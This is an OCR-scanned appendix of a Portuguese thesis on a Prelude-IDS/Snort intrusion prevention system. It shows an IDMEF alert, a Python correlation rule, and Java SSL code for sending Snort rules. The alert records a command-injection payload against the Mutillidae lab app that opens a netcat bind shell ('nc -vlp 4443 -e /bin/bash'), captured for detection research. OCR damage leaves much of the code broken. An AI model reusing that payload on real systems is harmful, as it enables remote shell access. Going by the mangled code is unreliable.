APENDICE D - EXEMPLO DE MENSAGEM IDMEF GERADA

<IDMEF-Message>
<Alert messageid="84071d5c-2ac9-11e2-b1c0»
<Analyzer
name="prelude-manager"
analyzerid="747823856276170"
class="Concentrator"
manufacturer="http://www.prelude-ids.com"
model="Prelude Manager"
ostype="Linux"
osversion="2.6.32-5-686"
version="1.0.0»
<Node category="unknown»
<name>
moduloIDS.great.ufc.br
</name>
</Node>
<Process>
<name>
prelude-manager
</name>
<pid>
2063
</pid>
<path>
/usr/sbin/prelude-manager
</path>
</Process>
<Analyzer
name="prelude-correlator"
analyzerid="2998867756927508"
class="Correlator"
manufacturer="PreludeIDS Technologies"
model="Prelude-Correlator"
ostype="Linux"
osversion="2.6.32-5-686"
version="1.0.0»
<Node category="unknown»
<name>
moduloIDS.great.ufc.br
</name>
</Node>
<Process>
<name>
prelude-correlator
</name>
<pid>
2137
</pid>
<path>
/usr/bin/prelude-correlator
</path>
</Process>
</Analyzer>
</Analyzer>
<CreateTime ntpstamp="0xd4481757.0x8f1db000»
2012-11-09T20:59:19.559047-03:00
</CreateTime>
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<AnalyzerTime ntpstamp="0xd4481768.0xa394f000»
2012-11-09T20:59:36.638991-03:00
</AnalyzerTime>
<Source
interface="eth2:eth0"
spoofed="unknown»
<Node category="unknown»
<Address category="ipv4-addr»
<address>
10.1.1.1
</address>
</Address>
</Node>
<Service
iana_protocol_name="tcp"
iana_protocol_number="6"
ip_version="4»
<port>
54024
</port>
</Service>
</Source>
<Target
decoy="unknown"
interface="eth2:eth0»
<Node category="unknown»
<Address category="ipv4-addr»
<address>
192.168.2.30
</address>
</Address>
</Node>
<Service
iana_protocol_name="tcp"
iana_protocol_number="6"
ip_version="4»
<port>
80
</port>
</Service>
</Target>
<Classification text="For monitoring"/>
<Assessment>
<Impact
severity="high"
type="other»
Impact Description
</Impact>
</Assessment>
<CorrelationAlert>
<name>
Possivel vulnerabilidade
</name>
<alertident analyzerid="1914624736655441»
79d22a8e-2ac9-11e2-85ce
</alertident>
<alertident analyzerid="1914624736655441»
79d380c8-2ac9-11e2-85ce
</alertident>
<alertident analyzerid="287785627980338»



Tac9e85a-2ac9-11e2-97cc
</alertident>
</CorrelationAlert>
<AdditionalData
meaning="Payload"
type="string»
<string>POST /mutillidae/index.php?page=dns-lookup.php HTTP/1.1&#13;
Host: owaspbwa&#13;
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0&#13;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&#13;
Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3&#13;
Accept-Encoding: gzip, deflate&#13;
Connection: keep-alive&#13;
Referer: http://owaspbwa/mutillidae/index.php?page=dns-lookup.php&#13;
Cookie: PHPSESSID=7902f4c827f985f36c399e44ad3d6469&#13;
Content-Type: application/x-www-form-urlencoded&#13;
Content-Length: 78&#13;

&#13;
target_host=8.8.8.8+%26%26+nc+-vIp+4443++-e+%2Fbin%2Fbash&amp;Submit_button=Submit
</string>
</AdditionalData>
<AdditionalData

meaning="Processo"
type="string»
<string>nc -vlp 4443 -e /bin/bash
</string>
</AdditionalData>
<AdditionalData
meaning="Porta"
type="string»
<string>4443
</string>
</AdditionalData>
<AdditionalData
meaning="Alvo"
type="string»
<string>192.168.2.30
</string>
</AdditionalData>
<AdditionalData
meaning="ProcessoPai"
type="string»
<string>sh -c nslookup 8.8.8.8 &amp;&amp; nc -vlp 4443 -e /bin/bash
</string>
</AdditionalData>
<AdditionalData
meaning="Compare"
type="string»
<string>8.8.8.8
</string>
</AdditionalData>
<AdditionalData
meaning="PortaPai"
type="string»
<string>80
</string>
</AdditionalData>
<AdditionalData
meaning="ProcessoPai"
type="string»
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<string>/ust/sbin/apache?2 -k start
</string>
</AdditionalData>
</Alert>
</IDMEF-Message>
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APENDICE E - CODIFICACAO NECESSARIA

E.1 Regra de Correlacao

import 0s

import re

import shlex, subprocess
import sys

import base64

import string

from PreludeCorrelator.context import Context
from PreludeCorrelator.pluginmanager import Plugin
from PreludeCorrelator.idmef import IDMEF

port=1;
date = 7;
user = 9;

process = 11;

class TargetPortPlugin(Plugin):

def run(self, idmef):
#Encontrando a maior substring
def lcsubstr(x,y):
m = len(x)
n = len(y)
k=0
z=0
table = dict()
for i in range(m):
for j in range(n):
if x[i] == y[jI:
ifi==0orj==0:
table[i, j] =1
else:
table[i,j] = table[i-1,j-1] + 1
if table[ij] > z:
z = table[i,j]
k=i
else:
table[i,j] =0
return x[k-z+1:k+1]

#Procurando comparacoes
def compareData(valor, meaning, context):
substr ="0";
substr2 = "0";
for i in range(len(context.Get("alert.additional_data(*)"))):

if context.match("alert.additional_data("+str(i)+").meaning",meaning):

data = context.Get("alert.additional_data("+str(i)+").data")
substr2 = Icsubstr(str(valor),str(data))
if (Ien(substr2) > len(substr)):

substr = substr2

return substr

#Adicionando dados extras no alerta / Se ja existir ndo vai fazer nada
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def addAdditionalData(data, meaning , context):
for i in range(len(context.Get("alert.additional_data(*)"))):
if ( context.match("alert.additional_data("+str(i)+").meaning",meaning) and context.match("alert.additional_data("+str(i)+").data" data) ):
return
context.Set("alert.additional_data(»).meaning",meaning)
context.Set("alert.additional_data(-1).type","string")
context.Set("alert.additional_data(-1).data",data)

#Inicio propriamente dito
snort = False
ossec = False
print(‘“*** Prelude recebeu um evento *** de %s” % self.__class__.__name__)
#ldentificador de que e um alerta do Snort
models = idmef.Get("alert.analyzer.model")
for model in models:
if model == "Snort":
snort = True
if model == "Ossec":
ossec = True
#este target sera tratado abaixo para refletir o IP em todos os casos
target = idmef.Get("alert.target(0).node.address(0).address")

if target == "metasploitable’:
target = "192.168.2.20°
elif target == brokenwebapps’:
target = "192.168.2.30
elif target == "snort’:
target = "192.168.2.10°
elif target == *(WindowsXP) 192.168.3.40’:
target = *192.168.2.40°

#utilizado para poder codificar o payload e evitar erros
valid_chars = “0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ#$%& ()¥+,-./:;<=>?@[]"_*{I} \t\n\r"
# se é um alerta de Possivel Backdoor (Linux)
if (idmef.match("alert.classification.text", "Possivel Backdoor")):
# get additionalData - it contains the command output
fullLog = idmef.Get("alert.additional_data(-1).data")
fullLog = fullLog.split("netstat’:")[1];
conns = fullLog.split(’;’);
for conn in conns:
if len(conn) > 0:
field = conn.split(""");
port = field[1]

date =7
user =9
process = 11

ctx = Context(("MYCONTEXT"+ target + str(port)),{ "expire": 10, "threshold": -1, "alert_on_expire": True}, update = True )
if (not ctx.Get("alert.classification.text")):
ctx.Set("alert.correlation_alert.name", "Possivel backdoor conectado")
ctx.Set("alert.correlation_alert.alertident(»).alertident", idmef.Get("alert.messageid"))
ctx.Set("alert.correlation_alert.alertident(-1).analyzerid", idmef.Get("alert.analyzer(*).analyzerid")[-1])
ctx.Set("alert.classification.text", "Backdoor")
ctx.Set("alert.assessment.impact.severity", "info")

ctx.Set("alert.assessment.impact.description”,"Impact Description")

addAdditionalData(port, "Porta", ctx)
addAdditionalData(field[process], "Processo", ctx)
addAdditionalData(target, "Alvo", ctx)

remoto = field[3].split(":")[0]

if ( not remoto == "0.0.0.0"):
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addAdditionalData(remoto, "Remoto", ctx)
if (ctx.Get("alert.source") and ctx.Get("alert.classification.text")):
ctx.Set("alert.assessment.impact.severity", "high")
ctx.Set("alert.assessment.impact.description”,"Impact Description")
#ctx.alert()
#etx.destroy()
ctxMonitoring = 0
for i in range(0, (len(field)-13)/4):
mainPort = field[15 + 4*i]
if (mainPort and not ctxMonitoring):
ports = mainPort.split()
if (len(ports) > 1):
mainPort = ports[1]
ctxMonitoring = Context(("MYCONTEXT"+ target + str(mainPort)),{"expire": 10 ,"threshold": -1, "alert_on_expire": True}, update = Tr
if (ctxMonitoring):
for i in range(0, (len(field)-13)/4):
process = field[13 + 4*i]
port = field[15 + 4*i]

if not ctxMonitoring.Get("alert.classification.text"):
ctxMonitoring.Set("alert.correlation_alert.name", "Possivel vulnerabilidade")
ctxMonitoring.Set("alert.correlation_alert.alertident(»).alertident", idmef.Get("alert.messageid"))
ctxMonitoring.Set("alert.correlation_alert.alertident(-1).analyzerid", idmef.Get("alert.analyzer(*).analyzerid")[-1])
ctxMonitoring.Set("alert.classification.text", "For monitoring")
ctxMonitoring.Set("alert.assessment.impact.severity", "info")
ctxMonitoring.Set("alert.assessment.impact.description”,"Impact Description")
addAdditionalData(field[11],"Processo" ,ctxMonitoring)
addAdditionalData(field[1],"Porta",ctxMonitoring)
addAdditionalData(target," Alvo",ctxMonitoring)
remoto = field[3].split(":")[0]
if ( not remoto == "0.0.0.0"):

addAdditionalData(remoto, "Remoto"”, ctxMonitoring)

if port:
addAdditionalData(port,"PortaPai",ctxMonitoring)

if process:
addAdditionalData(process,'ProcessoPai" ,ctxMonitoring)
compare = compareData(process,"Payload",ctxMonitoring)
if (len(compare) > 5):
addAdditionalData(compare,"Compare",ctxMonitoring)

if (ctxMonitoring.Get("alert.source") and ctxMonitoring.Get("alert.classification.text")):
ctxMonitoring.Set("alert.assessment.impact.severity", "high")
ctxMonitoring.Set("alert.assessment.impact.description”,"Impact Description")
#ctxMonitoring.alert()
#ctxMonitoring.destroy()

elif (idmef.match("alert.classification.text", "Possivel Backdoor Windows")):
#get additionalData - it contains the command output
fullLog = idmef.Get("alert.additional_data(-1).data")
fullLog = fullLog.split("netstat’:")[1];
conns = fullLog.split(’;’);
# Parametros da conexao
pieces = conns[0].strip().split(’ *);
port=0
# Processos
processos = conns|1].strip();
remoto = "any"
for i in range(0,len(pieces)/5):
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if ( pieces[i*5 + 3] == "ESTABLISHED"):
remoto = pieces[i*5 + 2].split(":")[0]
for i in range(0,len(pieces)/5):
if ( not port == pieces[i*5 + 1].split(":")[1]):
port = pieces[i*5 + 1].split(":")[1]
status = pieces[i*5 + 3]
if ( status == "LISTENING"):
ctxMonitoring = Context(("MYCONTEXT"+ target + str(port)),{ "expire":10, "threshold": -1,"alert_on_expire": True}, update=True)
if not ctxMonitoring.Get("alert.classification.text"):
ctxMonitoring.Set("alert.correlation_alert.name", "Possivel vulnerabilidade")
ctxMonitoring.Set("alert.correlation_alert.alertident(»).alertident", idmef.Get("alert.messageid"))
ctxMonitoring.Set("alert.correlation_alert.alertident(-1).analyzerid", idmef.Get("alert.analyzer(*).analyzerid")[-1])
ctxMonitoring.Set("alert.classification.text", "For monitoring")
ctxMonitoring.Set("alert.assessment.impact.severity", "info")
ctxMonitoring.Set("alert.assessment.impact.description”,"Impact Description")

addAdditionalData(processos, "Processo" ,ctxMonitoring)
addAdditionalData(target," Alvo",ctxMonitoring)
addAdditionalData(port,"Porta" ,ctxMonitoring)
addAdditionalData(remoto, "Remoto", ctxMonitoring)
compare = compareData(processos,"Payload",ctxMonitoring)
if (len(compare) > 5):
addAdditionalData(compare,"Compare",ctxMonitoring)

if (ctxMonitoring.Get("alert.source") and ctxMonitoring.Get("alert.classification.text")):
ctxMonitoring.Set("alert.assessment.impact.severity", "high")
ctxMonitoring.Set("alert.assessment.impact.description”,"Impact Description")
#ctxMonitoring.alert()
#ctxMonitoring.destroy()

elif ( status == "ESTABLISHED"):

ctx = Context(("MYCONTEXT"+ target + str(port)),{"expire":10,"threshold": -1, "alert_on_expire":True } ,update = True)

if (not ctx.Get("alert.classification.text")):
ctx.Set("alert.correlation_alert.name", "Possivel backdoor conectado")
ctx.Set("alert.correlation_alert.alertident(»).alertident”, idmef.Get("alert.messageid"))
ctx.Set("alert.correlation_alert.alertident(-1).analyzerid", idmef.Get("alert.analyzer(*).analyzerid")[-1])
ctx.Set("alert.classification.text", "Backdoor")
ctx.Set("alert.assessment.impact.severity", "info")

ctx.Set("alert.assessment.impact.description”,"Impact Description")

addAdditionalData(port, "Porta", ctx)
addAdditionalData(processos, "Processo", ctx)
addAdditionalData(target, "Alvo", ctx)
addAdditionalData(remoto, "Remoto", ctx)

if (ctx.Get("alert.source") and ctx.Get("alert.classification.text")):
ctx.Set("alert.assessment.impact.severity", "high")
ctx.Set("alert.assessment.impact.description”,"Impact Description")
#ctx.alert()
#ctx.destroy()

elif (snort):
source = idmef.Get("alert.source(0).node.address(0).address")
portTarget = idmef.Get("alert.target(0).service.port")

portSource = idmef.Get("alert.source(0).service.port™)

if source == 'metasploitable’:
source = "192.168.2.20

elif source == "brokenwebapps’:
source = "192.168.2.30

elif source == snort’:
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source =192.168.2.10°
elif target == *(WindowsXP) 192.168.3.40’:
source = "192.168.2.40°

ctx = Context(("MYCONTEXT"+ target + str(portTarget)),{"expire":10,"threshold": -1,"alert_on_expire": True},update=True)

if (not ctx.Get("alert.source")):
ctx.Set("alert.source(»)", idmef.Get("alert.source"))
ctx.Set("alert.target(»)", idmef.Get("alert.target"))

ctx.Set("alert.correlation_alert.alertident(»).alertident”, idmef.Get("alert.messageid"))
ctx.Set("alert.correlation_alert.alertident(-1).analyzerid", idmef.Get("alert.analyzer(*).analyzerid")[-1])

non

ctx.Set("alert.assessment.impact.severity", "info")
ctx.Set("alert.assessment.impact.description”,"Impact Description")

for i in range(len(idmef.Get("alert.additional_data(*)"))):
if idmef.match("alert.additional_data("+str(i)+").meaning","payload"):
payload = idmef.Get("alert.additional_data("+str(i)+").data")

cleanPayload = " join(c for c in payload if ¢ in valid_chars)

compareProcesso = compareData(cleanPayload, "Processo", ctx)
if (len(compareProcesso) > 5):
addAdditionalData(compareProcesso,"Compare", ctx)

compareProcessoPai = compareData(cleanPayload, "ProcessoPai", ctx)
if (len(compareProcessoPai) > 5):
addAdditionalData(compareProcessoPai,"Compare", ctx)

#Adicionar o Payload como dado adicional - apenas como gerenciamento e controle
addAdditionalData(cleanPayload,"Payload", ctx)

if (ctx.Get("alert.source") and ctx.Get("alert.classification.text")):
if (ctx.Get("alert.classification.text") == "Backdoor"):
ctx.Set("alert.assessment.impact.severity", "high")
ctx.Set("alert.assessment.impact.description”,"Impact Description")
#ctx.alert()
#ctx.destroy()

#elif (ossec):
#Tratar demais alertas do OSSEC

E.2 Socket de Comunicacio para o envio de novas regras
E.2.1 Comandos de execucio

e Comando para geragdo do certificado:
keytool -genkey -keystore idpsKey -keyalg RSA

e Comando para execucao do servidor:
Jjava -Djavax.net.ssl.keyStore=idpsKey -Djavax.net.ssl.keyStorePassword=123456 main/WaitRulesSSL

e Comando para execucdo do cliente:
Jjava -classpath ../lib/commons-io-2.4.jar:. -Djavax.net.ssl.trustStore=idpsKey

-Djavax.net.ssl.trustStorePassword=123456 main/MyTailer
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A classe responsavel pela atividade de comunicagdo na rede é: main/SendRulesSSL. No entanto ela é cha-
mada de dentro da aplicagdo geradora de regras e assinaturas, por isso, devemos passar os pardmetros da
conexao SSL na execucdo do MyTailer que € a classe inicial responsdvel pelo monitoramento das mensa-

gens IDMEF através dos logs do Prelude-IDS e a partir da qual todas as tarefas sdo executadas.

E.2.2 No lado do Snort (Servidor)

package main;

import javax.net.ssl.SSLServerSocket;

import javax.net.ssl.SSLServerSocketFactory;
import javax.net.ssl.SSLSocket;

import java.io.BufferedReader;

import java.io.InputStream;

import java.io.InputStreamReader;

public class WaitRulesSSL {
private static int port = 2012;

public static void main(String[] args) {
try {
SSLServerSocketFactory sslserversocketfactory = (SSLServerSocketFactory) SSLServerSocketFactory.getDefault();
SSLServerSocket sslserversocket = (SSLServerSocket) sslserversocketfactory.createServerSocket(port);
SSLSocket sslsocket = (SSLSocket) sslserversocket.accept();

InputStream inputstream = sslsocket.getInputStream();
InputStreamReader inputstreamreader = new InputStreamReader(inputstream);
BufferedReader bufferedreader = new BufferedReader(inputstreamreader);

String rule = null;
while ((rule = bufferedreader.readLine()) != null) {
new WriteSnortLocalRules(rule);
}
} catch (Exception exception) {

exception.printStackTrace();

E.2.3 No lado do ModuloIDS (Cliente)

package main;

import javax.net.ssl.SSLSocket;
import javax.net.ssl.SSLSocketFactory;
import java.io.*;

import java.net.UnknownHostException;
public class SendRulesSSL {
private static int port = 2012;
private static String snortAddress = "snort";

private static SSLSocket sslsocket = null;

private static void connect() throws UnknownHostException, IOException {
if (!(sslsocket != null && sslsocket.isConnected())) {



SSLSocketFactory sslsocketfactory = (SSLSocketFactory) SSLSocketFactory.getDefault();
sslsocket = (SSLSocket) sslsocketfactory.createSocket(snortAddress,port);

}
}
public static void send(String rule) {
try {
connect();

OutputStream outputstream = sslsocket.getOutputStream();

OutputStreamWriter outputstreamwriter = new OutputStreamWriter(outputstream);
BufferedWriter bufferedwriter = new BufferedWriter(outputstreamwriter);
bufferedwriter.write(rule + *\n’);

bufferedwriter.flush();

Thread.sleep(500);

} catch (Exception exception) {
exception.printStackTrace();

}

E.3 Monitoramento e Parser do Arquivo de Log do Prelude-IDS

package main;

import java.io.File;

import java.io.IOException;

import java.util.List;

import javax.xml.parsers.ParserConfigurationException;
import org.xml.sax.SAXException;

public class MyTailer extends Thread {

private static String logfile = "/var/log/prelude-manager/prelude-xml.log";
private StringBuffer partial xml = new StringBuffer().append(«root>");

public static void main(String args[]) {
(new MyTailer()).start();

public void run() {
File file = new File(logfile);
TailerListener tailerListernet = new TailerListener() {

public void init(Tailer arg0) {
}
public void handle(Exception arg0) {
}
public void handle(String line) {
partial_xml.append(line);
if (line.contains("IDMEF-Message")) {
ReadXMLLine parser = new ReadXMLLine(partial_xml.toString() + «/root>");
try {
parser.xmlParser();
if (parser.isCorrelationAlert()) {
List<String> rules = parser.generateRules();
for (int i =0; i < rules.size(); i++ ) {
SendRulesSSL.send(rules.get(i));
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}

partial_xml = new StringBuffer().append(«root>");
} catch (Exception e) {
e.printStackTrace();
}
}

}
public void fileRotated() {

}
public void fileNotFound() {

N

Tailer tail = new Tailer(file, tailerListernet, 500, false);
Thread thread = new Thread(tail);
thread.start();
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